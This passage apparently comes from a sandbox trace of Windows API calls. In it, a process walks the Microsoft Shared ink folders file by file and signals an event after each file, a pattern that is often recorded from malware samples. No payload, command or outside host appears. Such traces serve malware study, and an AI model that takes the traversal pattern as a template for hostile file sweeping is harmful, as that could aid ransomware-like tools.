lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0165.994] SetEvent (hEvent=0x178) returned 1 [0165.994] ResetEvent (hEvent=0x17c) returned 1 [0165.996] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0165.996] SetEvent (hEvent=0x178) returned 1 [0165.996] ResetEvent (hEvent=0x17c) returned 1 [0165.999] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0165.999] SetEvent (hEvent=0x178) returned 1 [0165.999] ResetEvent (hEvent=0x17c) returned 1 [0166.001] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0166.001] SetEvent (hEvent=0x178) returned 1 [0166.002] ResetEvent (hEvent=0x17c) returned 1 [0166.002] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0166.004] SetEvent (hEvent=0x178) returned 1 [0166.004] ResetEvent (hEvent=0x17c) returned 1 [0166.006] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0166.006] SetEvent (hEvent=0x178) returned 1 [0166.007] ResetEvent (hEvent=0x17c) returned 1 [0166.009] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0166.009] SetEvent (hEvent=0x178) returned 1 [0166.010] ResetEvent (hEvent=0x17c) returned 1 [0166.012] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0166.012] SetEvent (hEvent=0x178) returned 1 [0166.012] ResetEvent (hEvent=0x17c) returned 1 [0166.014] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0166.015] SetEvent (hEvent=0x178) returned 1 [0166.015] ResetEvent (hEvent=0x17c) returned 1 [0166.017] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0166.017] SetEvent (hEvent=0x178) returned 1 [0166.017] ResetEvent (hEvent=0x17c) returned 1 [0166.019] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0166.020] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0166.020] GetProcessHeap () returned 0x6a0000 [0166.020] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0166.020] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0166.020] SetEvent (hEvent=0x178) returned 1 [0166.020] ResetEvent (hEvent=0x17c) returned 1 [0166.022] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0166.022] GetProcessHeap () returned 0x6a0000 [0166.022] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0166.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0166.023] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.023] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0166.023] SetEvent (hEvent=0x178) returned 1 [0166.023] ResetEvent (hEvent=0x17c) returned 1 [0166.025] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0166.025] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0166.025] GetProcessHeap () returned 0x6a0000 [0166.025] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0166.025] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0166.025] SetEvent (hEvent=0x178) returned 1 [0166.026] ResetEvent (hEvent=0x17c) returned 1 [0166.031] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0166.031] GetProcessHeap () returned 0x6a0000 [0166.031] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0166.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0166.032] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.032] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0166.032] SetEvent (hEvent=0x178) returned 1 [0166.032] ResetEvent (hEvent=0x17c) returned 1 [0166.035] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0166.035] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0166.035] GetProcessHeap () returned 0x6a0000 [0166.035] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0166.035] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0166.035] SetEvent (hEvent=0x178) returned 1 [0166.035] ResetEvent (hEvent=0x17c) returned 1 [0166.037] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0166.037] GetProcessHeap () returned 0x6a0000 [0166.037] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0166.038] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0166.038] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.038] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0166.038] SetEvent (hEvent=0x178) returned 1 [0166.038] ResetEvent (hEvent=0x17c) returned 1 [0166.040] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0166.040] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0166.040] GetProcessHeap () returned 0x6a0000 [0166.040] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0166.040] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0166.040] SetEvent (hEvent=0x178) returned 1 [0166.040] ResetEvent (hEvent=0x17c) returned 1 [0166.043] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0166.043] GetProcessHeap () returned 0x6a0000 [0166.043] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0166.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0166.043] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.043] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0166.043] SetEvent (hEvent=0x178) returned 1 [0166.044] ResetEvent (hEvent=0x17c) returned 1 [0166.046] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0166.046] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0166.046] GetProcessHeap () returned 0x6a0000 [0166.046] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0166.046] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0166.046] SetEvent (hEvent=0x178) returned 1 [0166.047] ResetEvent (hEvent=0x17c) returned 1 [0166.048] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0166.048] GetProcessHeap () returned 0x6a0000 [0166.048] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0166.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0166.048] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.049] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, 